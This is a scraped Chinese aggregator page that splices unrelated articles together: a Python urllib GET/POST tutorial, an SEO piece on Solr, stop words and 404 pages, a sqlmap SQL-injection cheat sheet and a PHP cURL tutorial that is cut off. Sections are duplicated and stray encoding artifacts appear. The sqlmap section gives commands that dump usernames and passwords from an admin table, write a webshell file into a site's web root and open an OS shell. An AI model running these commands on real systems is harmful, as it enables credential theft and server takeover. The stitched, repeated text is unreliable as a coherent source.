print(urlopen(req).read().decode())
修改,然后引入urlencode函數對url進(jìn)行轉碼,然后就可以正常訪(fǎng)問(wèn)了;
省略..
from urllib.parse import urlencode
# 1.爬取站點(diǎn)訪(fǎng)問(wèn)地址
args = {'q': '電影'}
url = "https://www.douban.com/search?{}".format(urlencode(args))
省略...
從這些可以看出get方法獲取的內容是穩定的(即每個(gè)人打開(kāi)某個(gè)網(wǎng)頁(yè)獲取的信息都是一樣的),但是使用post需要輸入特定的信息,那么獲取的網(wǎng)頁(yè)內容將是具體的。在本節下面我們將繼續。
單靠文字可能并不容易理解。建議您在上手時(shí)觀(guān)看一些配套視頻,加深對基本概念的印象,進(jìn)而在實(shí)際操作中更好地理解每一步的含義。
這里推薦給大家學(xué)習一個(gè)可以免費使用的公開(kāi)課,點(diǎn)擊下方跳轉
(2)發(fā)布方法
Post 用于向服務(wù)器發(fā)送數據以創(chuàng )建/更新資源。
通過(guò) post 發(fā)送到服務(wù)器的數據存儲在 HTTP 請求的請求體中:
POST /test/demo_form.php HTTP/1.1
Host: w3school.com.cn
name1=value1&name2=value2
帖子獲取的內容不能僅僅依靠URL獲取,需要提交一些額外的信息。
這種信息在不同的網(wǎng)頁(yè)中發(fā)揮著(zhù)不同的作用。例如,在天氣查詢(xún)網(wǎng)頁(yè)中,您可能需要輸入城市信息;在登錄某些網(wǎng)頁(yè)時(shí),它也是帳號和密碼的載體。
發(fā)布請求:
?、?地址欄中不會(huì )出現數據
?、?數據大小沒(méi)有上限
?、?有請求體
?、?如果請求正文中有中文,將使用 URL 編碼!
關(guān)于 post 請求的其他一些注意事項:
通常,提交數據的HTTP請求需要編碼成URL編碼格式,然后作為URL的一部分使用,或者作為參數傳遞給Request對象。
特殊點(diǎn):
Request請求對象中有一個(gè)data參數,post請求通過(guò)Request對象中的data屬性來(lái)存儲請求體數據。
data 是一個(gè)字典,其中收錄匹配的鍵值對。
我們在這里模擬一個(gè)登錄請求:
from urllib.request import urlopen
from urllib.request import Request
from random import choice
from urllib.parse import urlencode
# 1.url與參數處理
url = "https://www.douban.com/"
args = {
'name': 'abcdef123456',
'password': '123456'
}
# 2.模擬多個(gè)瀏覽器的User-Agent(分別為Chrome、Firefox、Edge)
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
]
# 3.隨機設置請求頭信息
headers = {
"User-Agent": choice(user_agents)
}
# 4.將請求頭信息封裝到Request對象中
req = Request(url, headers=headers, data=urlencode(args).encode())
# 5.發(fā)送請求并打印返回值
print(urlopen(req).read().decode())
如果沒(méi)有添加encode()函數,會(huì )報錯:
TypeError: POST data should be bytes, an iterable of bytes, or a file object. It cannot be of type str.
發(fā)布請求做一個(gè)百度翻譯:



import urllib.request as ur
import urllib.parse as up
import json
word= input('請輸入要翻譯的英語(yǔ):')
data={
'kw':word
}
data_url = up.urlencode(data)
request = ur.Request(url='https://fanyi.baidu.com/sug',data=data_url.encode('utf-8'))
reponse = ur.urlopen(request).read()
ret = json.loads(reponse)
#print(ret)
translate = ret['data'][0]['v']
print(translate)
3、總結:
Get請求和Post請求的區別
1)get 在瀏覽器回滾時(shí)是無(wú)害的,post 會(huì )再次提交請求;
2) get生成的url地址可以加書(shū)簽(加標簽),不能post;
3)get請求只能是url編碼,posts可以有多種編碼方式;
4)get 請求參數會(huì )完全保留在瀏覽器歷史記錄中,post 不會(huì )(私密瀏覽);
5) 對于參數的數據類(lèi)型,get只接受ASCII字符,post沒(méi)有限制;
6) Get請求的url傳入的參數長(cháng)度有限制,post沒(méi)有;
7)get 的安全性不如 post,因為參數直接暴露在 url 中,不能用于傳輸敏感信息;
8) url中放置了Get參數,請求體中放置了post參數;
注意:
php抓取網(wǎng)頁(yè)指定內容(如何在選擇網(wǎng)絡(luò )媒體后完善內部工作呢?(圖))
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 69 次瀏覽 ? 2021-12-13 08:11
各種搜索引擎開(kāi)源技術(shù)是開(kāi)源社區的一項奇葩技術(shù),大大縮短了構建搜索應用的周期,使得根據特定需求打造個(gè)性化應用的垂直搜索引擎系統成為可能。Solr作為一個(gè)獨立的企業(yè)搜索應用解決方案,已經(jīng)被美國很多知名的網(wǎng)站使用,比如美國最大的科技信息類(lèi)網(wǎng)站CNet。Solr 是基于高性能 Lucene 開(kāi)發(fā)的。它不僅實(shí)現了比Lucene更豐富的查詢(xún)語(yǔ)言和更好的查詢(xún)性能,而且實(shí)現了可配置、可擴展,并提供了類(lèi)似于Web服務(wù)的外部API接口。用戶(hù)可以通過(guò)Http請求向搜索引擎服務(wù)器提交指定格式的XML文件生成索引,也可以通過(guò)“Http Get”操作進(jìn)行查詢(xún)請求,得到XML格式的返回結果。Solr 與其他開(kāi)源搜索軟件相結合,成為構建行業(yè)垂直搜索引擎的首選解決方案。
對于當前的網(wǎng)絡(luò )推廣活動(dòng),有一個(gè)基本的事情需要注意。媒體只是一個(gè)廣告載體,互聯(lián)網(wǎng)實(shí)際上與媒體不同。它是一種更方便的營(yíng)銷(xiāo)工具。它需要我們更多地依靠自己的力量和思維去開(kāi)發(fā)它的使用,而不是坐等購買(mǎi)和放置。收獲。這相當于買(mǎi)了一個(gè)路牌廣告,我們要花更多的精力去考慮在這個(gè)廣告上放什么內容;而我們選擇了一個(gè)在線(xiàn)廣告,除了能夠更新廣告本身的內容,更多的是我們要考慮如何利用我們自己的網(wǎng)站平臺來(lái)做更多的協(xié)調和利用這個(gè)帶來(lái)的流量廣告變成巨額利潤。
如果說(shuō)網(wǎng)絡(luò )媒體企業(yè)的工作要按時(shí)間分類(lèi),我想20%的人選擇媒體,我們要投入80%的精力去做我們內部的工作。讓我們的網(wǎng)絡(luò )行為獲得更大的收益。選擇網(wǎng)絡(luò )媒體后如何提升內部工作?這里我們以當前最火的中小企業(yè)互聯(lián)網(wǎng)營(yíng)銷(xiāo)渠道關(guān)鍵詞搜索為例,深入探討如何理解此類(lèi)關(guān)鍵詞廣告的使用,以及如何配合互聯(lián)網(wǎng)廣告開(kāi)展內部工作。
為了節省存儲空間和提高搜索效率,搜索引擎在索引頁(yè)面或處理搜索請求時(shí)會(huì )自動(dòng)忽略某些詞或詞。這些詞或詞稱(chēng)為停用詞。一般來(lái)說(shuō),Stop Words 大致分為以下兩類(lèi): 1、 這些詞使用廣泛,在互聯(lián)網(wǎng)上隨處可見(jiàn)。比如幾乎每一個(gè)網(wǎng)站都會(huì )出現“Web”這個(gè)詞,是的,這樣的詞搜索引擎不能保證能提供真正相關(guān)的搜索結果,很難幫助縮小搜索范圍,同時(shí)減少搜索的效率;2、 這樣的類(lèi)型比較多,包括情態(tài)助詞、副詞、介詞等。、連詞等,通常本身沒(méi)有明確的含義。
比如像《IT技術(shù)評論》,雖然里面的“IT”從我們的本義來(lái)說(shuō)就是“信息技術(shù)”的意思,其實(shí)這個(gè)縮寫(xiě)可以被大多數人接受,但是對于搜索引擎來(lái)說(shuō),這個(gè)“IT”不過(guò)是“它”,意思是“它”。這在英語(yǔ)中是一個(gè)極其常見(jiàn)且非常歧義的詞,在大多數情況下會(huì )被忽略。我們在IT技術(shù)評論中保留“IT”,更多地面向“人”而不是搜索引擎,讓用戶(hù)可以理解IT技術(shù)評論網(wǎng)站的內容僅限于信息技術(shù),盡管是從SEO角度來(lái)看這可能不是處理它的最佳方式。(搜索引擎也越來(lái)越智能了,比如對相似詞的智能識別,
PR0 – 谷歌的 PageRank 0 懲罰
到 2001 年底,Google 搜索引擎對使用可疑搜索引擎優(yōu)化策略的網(wǎng)站引入了一種新的懲罰:0. 的 PageRank 在搜索引擎優(yōu)化論壇中稱(chēng)為 PR0,也應使用該術(shù)語(yǔ)這里。PR0 的特點(diǎn)是網(wǎng)站的所有頁(yè)面或至少很多頁(yè)面在 Google 工具欄中顯示的 PageRank 為 0,即使它們確實(shí)具有高質(zhì)量的入站鏈接。這些頁(yè)面并未完全從索引中刪除,但它們始終位于搜索結果的末尾,因此很難找到它們。
關(guān)于404的由來(lái),這是HTTP請求(類(lèi)似于在IE地址欄輸入地址,回車(chē),顯示信息,這是一個(gè)HTTP請求,但不僅是這個(gè),還有POST,robots等)服務(wù)器, 并且服務(wù)器在給定地址沒(méi)有找到資源時(shí)返回的狀態(tài)碼。它的英文名稱(chēng)是 SC_NOT_FOUND。
一般每個(gè)WEB服務(wù)器都會(huì )有一個(gè)默認的404頁(yè)面,目的是告訴瀏覽者請求的頁(yè)面不存在或者鏈接錯誤。這些默認頁(yè)面很丑,可能還是一堆普通網(wǎng)友看不懂的代碼(見(jiàn)上兩圖)。顯然,從SEO和用戶(hù)體驗的角度來(lái)看,這并沒(méi)有引導用戶(hù)使用網(wǎng)站的其他頁(yè)面,而是無(wú)情地關(guān)掉我們的頁(yè)面離開(kāi)。
404頁(yè)面對SEO的影響
自定義 404 錯誤頁(yè)面是提升用戶(hù)體驗的好方法,但在應用過(guò)程中往往不會(huì )注意到對搜索引擎的影響,例如:服務(wù)器端配置錯誤導致返回“200”狀態(tài)碼或在頁(yè)面上使用元刷新的自定義 404 錯誤導致返回“302”狀態(tài)代碼。正確設置的自定義 404 錯誤頁(yè)面不僅應該能夠正確顯示,而且還應該返回“404”錯誤代碼而不是“200”或“302”。雖然對于訪(fǎng)問(wèn)用戶(hù)來(lái)說(shuō),HTTP 狀態(tài)碼是“404”還是“200”沒(méi)有任何區別,但對于搜索引擎來(lái)說(shuō)卻是相當重要的。 查看全部
php抓取網(wǎng)頁(yè)指定內容(如何在選擇網(wǎng)絡(luò )媒體后完善內部工作呢?(圖))
各種搜索引擎開(kāi)源技術(shù)是開(kāi)源社區的一項奇葩技術(shù),大大縮短了構建搜索應用的周期,使得根據特定需求打造個(gè)性化應用的垂直搜索引擎系統成為可能。Solr作為一個(gè)獨立的企業(yè)搜索應用解決方案,已經(jīng)被美國很多知名的網(wǎng)站使用,比如美國最大的科技信息類(lèi)網(wǎng)站CNet。Solr 是基于高性能 Lucene 開(kāi)發(fā)的。它不僅實(shí)現了比Lucene更豐富的查詢(xún)語(yǔ)言和更好的查詢(xún)性能,而且實(shí)現了可配置、可擴展,并提供了類(lèi)似于Web服務(wù)的外部API接口。用戶(hù)可以通過(guò)Http請求向搜索引擎服務(wù)器提交指定格式的XML文件生成索引,也可以通過(guò)“Http Get”操作進(jìn)行查詢(xún)請求,得到XML格式的返回結果。Solr 與其他開(kāi)源搜索軟件相結合,成為構建行業(yè)垂直搜索引擎的首選解決方案。
對于當前的網(wǎng)絡(luò )推廣活動(dòng),有一個(gè)基本的事情需要注意。媒體只是一個(gè)廣告載體,互聯(lián)網(wǎng)實(shí)際上與媒體不同。它是一種更方便的營(yíng)銷(xiāo)工具。它需要我們更多地依靠自己的力量和思維去開(kāi)發(fā)它的使用,而不是坐等購買(mǎi)和放置。收獲。這相當于買(mǎi)了一個(gè)路牌廣告,我們要花更多的精力去考慮在這個(gè)廣告上放什么內容;而我們選擇了一個(gè)在線(xiàn)廣告,除了能夠更新廣告本身的內容,更多的是我們要考慮如何利用我們自己的網(wǎng)站平臺來(lái)做更多的協(xié)調和利用這個(gè)帶來(lái)的流量廣告變成巨額利潤。
如果說(shuō)網(wǎng)絡(luò )媒體企業(yè)的工作要按時(shí)間分類(lèi),我想20%的人選擇媒體,我們要投入80%的精力去做我們內部的工作。讓我們的網(wǎng)絡(luò )行為獲得更大的收益。選擇網(wǎng)絡(luò )媒體后如何提升內部工作?這里我們以當前最火的中小企業(yè)互聯(lián)網(wǎng)營(yíng)銷(xiāo)渠道關(guān)鍵詞搜索為例,深入探討如何理解此類(lèi)關(guān)鍵詞廣告的使用,以及如何配合互聯(lián)網(wǎng)廣告開(kāi)展內部工作。
為了節省存儲空間和提高搜索效率,搜索引擎在索引頁(yè)面或處理搜索請求時(shí)會(huì )自動(dòng)忽略某些詞或詞。這些詞或詞稱(chēng)為停用詞。一般來(lái)說(shuō),Stop Words 大致分為以下兩類(lèi): 1、 這些詞使用廣泛,在互聯(lián)網(wǎng)上隨處可見(jiàn)。比如幾乎每一個(gè)網(wǎng)站都會(huì )出現“Web”這個(gè)詞,是的,這樣的詞搜索引擎不能保證能提供真正相關(guān)的搜索結果,很難幫助縮小搜索范圍,同時(shí)減少搜索的效率;2、 這樣的類(lèi)型比較多,包括情態(tài)助詞、副詞、介詞等。、連詞等,通常本身沒(méi)有明確的含義。
比如像《IT技術(shù)評論》,雖然里面的“IT”從我們的本義來(lái)說(shuō)就是“信息技術(shù)”的意思,其實(shí)這個(gè)縮寫(xiě)可以被大多數人接受,但是對于搜索引擎來(lái)說(shuō),這個(gè)“IT”不過(guò)是“它”,意思是“它”。這在英語(yǔ)中是一個(gè)極其常見(jiàn)且非常歧義的詞,在大多數情況下會(huì )被忽略。我們在IT技術(shù)評論中保留“IT”,更多地面向“人”而不是搜索引擎,讓用戶(hù)可以理解IT技術(shù)評論網(wǎng)站的內容僅限于信息技術(shù),盡管是從SEO角度來(lái)看這可能不是處理它的最佳方式。(搜索引擎也越來(lái)越智能了,比如對相似詞的智能識別,
PR0 – 谷歌的 PageRank 0 懲罰
到 2001 年底,Google 搜索引擎對使用可疑搜索引擎優(yōu)化策略的網(wǎng)站引入了一種新的懲罰:0. 的 PageRank 在搜索引擎優(yōu)化論壇中稱(chēng)為 PR0,也應使用該術(shù)語(yǔ)這里。PR0 的特點(diǎn)是網(wǎng)站的所有頁(yè)面或至少很多頁(yè)面在 Google 工具欄中顯示的 PageRank 為 0,即使它們確實(shí)具有高質(zhì)量的入站鏈接。這些頁(yè)面并未完全從索引中刪除,但它們始終位于搜索結果的末尾,因此很難找到它們。
關(guān)于404的由來(lái),這是HTTP請求(類(lèi)似于在IE地址欄輸入地址,回車(chē),顯示信息,這是一個(gè)HTTP請求,但不僅是這個(gè),還有POST,robots等)服務(wù)器, 并且服務(wù)器在給定地址沒(méi)有找到資源時(shí)返回的狀態(tài)碼。它的英文名稱(chēng)是 SC_NOT_FOUND。
一般每個(gè)WEB服務(wù)器都會(huì )有一個(gè)默認的404頁(yè)面,目的是告訴瀏覽者請求的頁(yè)面不存在或者鏈接錯誤。這些默認頁(yè)面很丑,可能還是一堆普通網(wǎng)友看不懂的代碼(見(jiàn)上兩圖)。顯然,從SEO和用戶(hù)體驗的角度來(lái)看,這并沒(méi)有引導用戶(hù)使用網(wǎng)站的其他頁(yè)面,而是無(wú)情地關(guān)掉我們的頁(yè)面離開(kāi)。
404頁(yè)面對SEO的影響
自定義 404 錯誤頁(yè)面是提升用戶(hù)體驗的好方法,但在應用過(guò)程中往往不會(huì )注意到對搜索引擎的影響,例如:服務(wù)器端配置錯誤導致返回“200”狀態(tài)碼或在頁(yè)面上使用元刷新的自定義 404 錯誤導致返回“302”狀態(tài)代碼。正確設置的自定義 404 錯誤頁(yè)面不僅應該能夠正確顯示,而且還應該返回“404”錯誤代碼而不是“200”或“302”。雖然對于訪(fǎng)問(wèn)用戶(hù)來(lái)說(shuō),HTTP 狀態(tài)碼是“404”還是“200”沒(méi)有任何區別,但對于搜索引擎來(lái)說(shuō)卻是相當重要的。
php抓取網(wǎng)頁(yè)指定內容(我的另一個(gè)筆記整理:可能是網(wǎng)上最易懂的SQL手工注入教程)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 58 次瀏覽 ? 2021-12-13 07:09
Sqlmap 也是滲透中常用的注入工具。其實(shí)在注入工具方面,一個(gè)sqlmap就夠了。只要你熟悉它,它只是一個(gè)方便的問(wèn)題。另一方面,sql注入是一個(gè)手動(dòng)派對。這是另一回事。
今天把我整理的sqlmap筆記發(fā)布出來(lái)供大家參考。
教程說(shuō)明
在學(xué)習sqlmap之前,建議先了解一下SQL注入的實(shí)現原理和基本的手動(dòng)注入操作,這樣更容易理解sqlmap的使用。
我的另一個(gè)筆記整理:可能是網(wǎng)上最通俗易懂的SQL手動(dòng)注入教程【個(gè)人筆記整理精華】
sqlmap注入waf可以參考:sqlmap注入篡改繞過(guò)WAF防火墻過(guò)濾
sqlmap 介紹
sqlmap 支持五種不同的注入模式:
sqlmap支持的數據庫有
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB
檢測注入的基本格式
sqlmap -u ""
默認使用 level1 檢測所有數據庫類(lèi)型
sqlmap -u “” –dbms mysql –level 3
指定數據庫類(lèi)型為mysql,級別為3(共5級,級別越高檢測越全面)
關(guān)注302跳轉
注入頁(yè)面錯誤時(shí),自動(dòng)跳轉到另一個(gè)頁(yè)面時(shí)需要遵循302。
注入錯誤的時(shí)候,先報錯再跳轉就不需要跟著(zhù)302了。
目的是:追蹤錯誤信息。
cookie 注入
當程序有反get注入時(shí),可以使用cookie注入
sqlmap -u "" -cookie "id=11" -level 2 (只有級別達到2才會(huì )檢測到cookie)
從post包注入
可以使用burpsuite或tempdata等工具抓取post包
sqlmap -r "c:\tools\request.txt" -p "username" -dbms mysql 指定用戶(hù)名參數
注入成功后獲取數據庫基本信息
sqlmap -u “” –dbms mysql –level 3 –dbs
哪些數據庫可供查詢(xún)
sqlmap -u “” –dbms mysql –level 3 -D test –tables
查詢(xún)測試數據庫中有哪些表
sqlmap -u “” –dbms mysql –level 3 -D test -T admin –columns
查詢(xún)test數據庫中admin表的哪些字段
sqlmap -u “” –dbms mysql –level 3 -D test -T admin -C “用戶(hù)名,密碼” –dump
轉儲用戶(hù)名和密碼字段中的數據
其他命令參考如下
從數據庫中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在 dedecms 數據庫中搜索字段 admin 或 password。
讀寫(xiě)文件
首先找到需要網(wǎng)站的物理路徑,其次需要有寫(xiě)權限或者讀權限。
--File-read=RFILE 從后端數據庫管理系統文件系統中讀取文件(物理路徑)
--File-write=WFILE 編輯后端數據庫管理系統文件系統上的本地文件(mssql xp_shell)
--File-dest=DFILE 后端數據庫管理系統寫(xiě)入的文件的絕對路徑
?。@樱?br /> sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\ webshel??l\1112.php"
使用 shell 命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下來(lái)指定網(wǎng)站的可寫(xiě)目錄:
"E:\php\htdocs\dvwa"
#注意:mysql不支持列出目錄,只支持讀取單個(gè)文件。sqlserver可以列出目錄,但是不能讀寫(xiě)文件,但是需要一個(gè)(xp_dirtree函數)
sqlmap詳細命令:
——————————————————————————————————————
選項:
sqlmap -u "" -dbs -o "sqlmap.log" 保存進(jìn)度
sqlmap -u "" -dbs -o "sqlmap.log" -resume 恢復保存的進(jìn)度
目標:
至少需要設置下面的選項之一來(lái)設置目標 URL。
要求:
這些選項可用于指定如何連接到目標 URL。
枚舉:
這些選項可用于列出后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行
您自己的 SQL 語(yǔ)句。
優(yōu)化:
這些選項可用于優(yōu)化 SqlMap 的性能。
注射:
這些選項可用于指定要測試的參數、提供自定義注入有效負載和可選的篡改腳本。
檢測:
這些選項可用于指定在 SQL 盲注期間如何解析和比較 HTTP 響應頁(yè)面的內容。
技巧:
這些選項可用于調整特定的 SQL 注入測試。
指紋: 蠻力:
這些選項可用于運行蠻力檢查。
用戶(hù)自定義函數注入:
這些選項可用于創(chuàng )建用戶(hù)定義的函數。
--udf-inject 注入用戶(hù)定義函數
--Shared-lib=SHLIB 共享庫本地路徑
文件系統訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的底層文件系統。
操作系統訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的底層操作系統。
Windows 注冊表訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的 Windows 注冊表。
這些選項可用于設置一些通用的工作參數。
雜項(雜項): 查看全部
php抓取網(wǎng)頁(yè)指定內容(我的另一個(gè)筆記整理:可能是網(wǎng)上最易懂的SQL手工注入教程)
Sqlmap 也是滲透中常用的注入工具。其實(shí)在注入工具方面,一個(gè)sqlmap就夠了。只要你熟悉它,它只是一個(gè)方便的問(wèn)題。另一方面,sql注入是一個(gè)手動(dòng)派對。這是另一回事。
今天把我整理的sqlmap筆記發(fā)布出來(lái)供大家參考。

教程說(shuō)明
在學(xué)習sqlmap之前,建議先了解一下SQL注入的實(shí)現原理和基本的手動(dòng)注入操作,這樣更容易理解sqlmap的使用。
我的另一個(gè)筆記整理:可能是網(wǎng)上最通俗易懂的SQL手動(dòng)注入教程【個(gè)人筆記整理精華】
sqlmap注入waf可以參考:sqlmap注入篡改繞過(guò)WAF防火墻過(guò)濾
sqlmap 介紹
sqlmap 支持五種不同的注入模式:
sqlmap支持的數據庫有
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB
檢測注入的基本格式
sqlmap -u ""
默認使用 level1 檢測所有數據庫類(lèi)型
sqlmap -u “” –dbms mysql –level 3
指定數據庫類(lèi)型為mysql,級別為3(共5級,級別越高檢測越全面)
關(guān)注302跳轉
注入頁(yè)面錯誤時(shí),自動(dòng)跳轉到另一個(gè)頁(yè)面時(shí)需要遵循302。
注入錯誤的時(shí)候,先報錯再跳轉就不需要跟著(zhù)302了。
目的是:追蹤錯誤信息。
cookie 注入
當程序有反get注入時(shí),可以使用cookie注入
sqlmap -u "" -cookie "id=11" -level 2 (只有級別達到2才會(huì )檢測到cookie)
從post包注入
可以使用burpsuite或tempdata等工具抓取post包
sqlmap -r "c:\tools\request.txt" -p "username" -dbms mysql 指定用戶(hù)名參數
注入成功后獲取數據庫基本信息
sqlmap -u “” –dbms mysql –level 3 –dbs
哪些數據庫可供查詢(xún)
sqlmap -u “” –dbms mysql –level 3 -D test –tables
查詢(xún)測試數據庫中有哪些表
sqlmap -u “” –dbms mysql –level 3 -D test -T admin –columns
查詢(xún)test數據庫中admin表的哪些字段
sqlmap -u “” –dbms mysql –level 3 -D test -T admin -C “用戶(hù)名,密碼” –dump
轉儲用戶(hù)名和密碼字段中的數據
其他命令參考如下
從數據庫中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在 dedecms 數據庫中搜索字段 admin 或 password。
讀寫(xiě)文件
首先找到需要網(wǎng)站的物理路徑,其次需要有寫(xiě)權限或者讀權限。
--File-read=RFILE 從后端數據庫管理系統文件系統中讀取文件(物理路徑)
--File-write=WFILE 編輯后端數據庫管理系統文件系統上的本地文件(mssql xp_shell)
--File-dest=DFILE 后端數據庫管理系統寫(xiě)入的文件的絕對路徑
?。@樱?br /> sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\ webshel??l\1112.php"
使用 shell 命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下來(lái)指定網(wǎng)站的可寫(xiě)目錄:
"E:\php\htdocs\dvwa"
#注意:mysql不支持列出目錄,只支持讀取單個(gè)文件。sqlserver可以列出目錄,但是不能讀寫(xiě)文件,但是需要一個(gè)(xp_dirtree函數)
sqlmap詳細命令:
——————————————————————————————————————
選項:
sqlmap -u "" -dbs -o "sqlmap.log" 保存進(jìn)度
sqlmap -u "" -dbs -o "sqlmap.log" -resume 恢復保存的進(jìn)度
目標:
至少需要設置下面的選項之一來(lái)設置目標 URL。
要求:
這些選項可用于指定如何連接到目標 URL。
枚舉:
這些選項可用于列出后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行
您自己的 SQL 語(yǔ)句。
優(yōu)化:
這些選項可用于優(yōu)化 SqlMap 的性能。
注射:
這些選項可用于指定要測試的參數、提供自定義注入有效負載和可選的篡改腳本。
檢測:
這些選項可用于指定在 SQL 盲注期間如何解析和比較 HTTP 響應頁(yè)面的內容。
技巧:
這些選項可用于調整特定的 SQL 注入測試。
指紋: 蠻力:
這些選項可用于運行蠻力檢查。
用戶(hù)自定義函數注入:
這些選項可用于創(chuàng )建用戶(hù)定義的函數。
--udf-inject 注入用戶(hù)定義函數
--Shared-lib=SHLIB 共享庫本地路徑
文件系統訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的底層文件系統。
操作系統訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的底層操作系統。
Windows 注冊表訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的 Windows 注冊表。
這些選項可用于設置一些通用的工作參數。
雜項(雜項):
php抓取網(wǎng)頁(yè)指定內容(在PHP中如何運用cURLcURL檢查錯誤的語(yǔ)句(上))
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 40 次瀏覽 ? 2021-12-08 16:09
CURL 是一種使用 URL 語(yǔ)法規則來(lái)傳輸文件和數據的工具。它支持多種協(xié)議和選項,如HTTP、FTP、TELNET等,可以提供與URL請求相關(guān)的各種詳細信息。最好的部分是 PHP 還支持 cURL 庫。
本文將介紹cURL的一些高級特性以及如何在PHP中使用。
1 為什么使用卷曲?
是的,我們可以通過(guò)其他方式獲取網(wǎng)頁(yè)內容。很多時(shí)候,因為想偷懶,直接使用了簡(jiǎn)單的PHP file_get_contents() 函數:
$content=file_get_contents("http://www.awaimai.com");$lines=file("http://www.awaimai.com");readfile(http://www.awaimai.com);
然而,這種方法缺乏靈活性和有效的錯誤處理。而且,你不能用它來(lái)完成一些困難的任務(wù),比如處理:coockies、驗證、表單提交、文件上傳等等。
2 啟用卷曲
首先,我們首先要確定PHP是否啟用了這個(gè)庫。您可以使用 phpinfo() 函數獲取此信息。如果在網(wǎng)頁(yè)上看到如下輸出,則說(shuō)明cURL庫已開(kāi)啟。
如果 curl 沒(méi)有開(kāi)啟,那么你需要開(kāi)啟這個(gè)庫。如果是windows平臺下就很簡(jiǎn)單了,需要修改php.ini文件的設置,找到php_curl.dll,把前面的分號去掉。如下:
#取消下面的注釋extension=php_curl.dll
如果是Linux服務(wù)器,則需要重新編譯PHP,編譯時(shí)在configure命令中添加--with-curl參數。
3 基本結構
在學(xué)習更復雜的函數之前,我們先來(lái)看看在 PHP 中創(chuàng )建 cURL 請求的基本步驟:
初始化設置選項執行并獲取結果釋放cURL句柄
實(shí)現代碼如下:
// 1. 初始化$ch=curl_init();// 2. 設置選項curl_setopt($ch, CURLOPT_URL,"http://www.awaimai.com"); //設置要抓取的頁(yè)面地址curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //抓取結果直接返回(如果為0,則直接輸出內容到頁(yè)面)curl_setopt($ch, CURLOPT_HEADER, 0); // 不需要頁(yè)面的HTTP頭// 3. 執行并獲取HTML文檔內容,可用echo輸出內容$output = curl_exec($ch);// 4. 釋放curl句柄curl_close($ch)
第二步(也就是curl_setopt())是最重要的,所有的奧秘都在這里。有一長(cháng)串要設置的 cURL 參數,可以指定 URL 請求的詳細信息??赡芎茈y一口氣讀完和理解,所以今天我們只嘗試更常用和更有用的選項。
4 檢查錯誤
您可以在 cur_exec() 之后添加一個(gè)語(yǔ)句來(lái)檢查錯誤(盡管這不是必需的):
$output = curl_exec($ch);if($output===FALSE) { echo"cURL Error:". curl_error($ch);}
請注意,我們在比較時(shí)使用 === FALSE 而不是 == FALSE。因為我們必須區分空輸出和布爾值 FALSE,后者才是真正的錯誤。
5 獲取信息
使用 curl_getinfo() 獲取 curl 執行后請求的相關(guān)信息。當然,這也是一個(gè)可選設置:
curl_exec($ch);$info = curl_getinfo($ch);echo\'獲取\'.$info[\'url\'] . \'耗時(shí)\'. $info[\'total_time\'] . \'秒\';
返回的數組收錄以下信息:
6 基于瀏覽器的重定向
在第一個(gè)示例中,我們將提供一段代碼來(lái)檢測服務(wù)器是否具有基于瀏覽器的重定向。例如,某些網(wǎng)站 會(huì )根據是否是移動(dòng)瀏覽器甚至用戶(hù)來(lái)自哪個(gè)國家/地區來(lái)重定向網(wǎng)頁(yè)。
我們使用 CURLOPT_HTTPHEADER 選項來(lái)設置發(fā)出的 HTTP 標頭,包括用戶(hù)代理信息和默認語(yǔ)言。然后看看這些特定的 網(wǎng)站 是否會(huì )將我們重定向到不同的 URL。
//測試用的URL$urls=array("http://www.bbc.com","http://www.baidu.com","http://www.ubuntu.com");//測試用的瀏覽器信息$browsers=array("standard"=> array("user_agent"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)","language"=>"en-us,en;q=0.5"),"iphone"=> array("user_agent"=>"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A537a Safari/419.3","language"=>"en"),"french"=> array("user_agent"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727)","language"=>"fr,fr-FR;q=0.5"));foreach($urlsas$url) { echo"URL:$url\n<br />";foreach($browsersas$test_name=>$browser) { $ch=curl_init();// 設置 urlcurl_setopt($ch, CURLOPT_URL, $url);//設置瀏覽器的特定headercurl_setopt($ch, CURLOPT_HTTPHEADER, array("User-Agent: {$browser[\'user_agent\']}","Accept-Language: 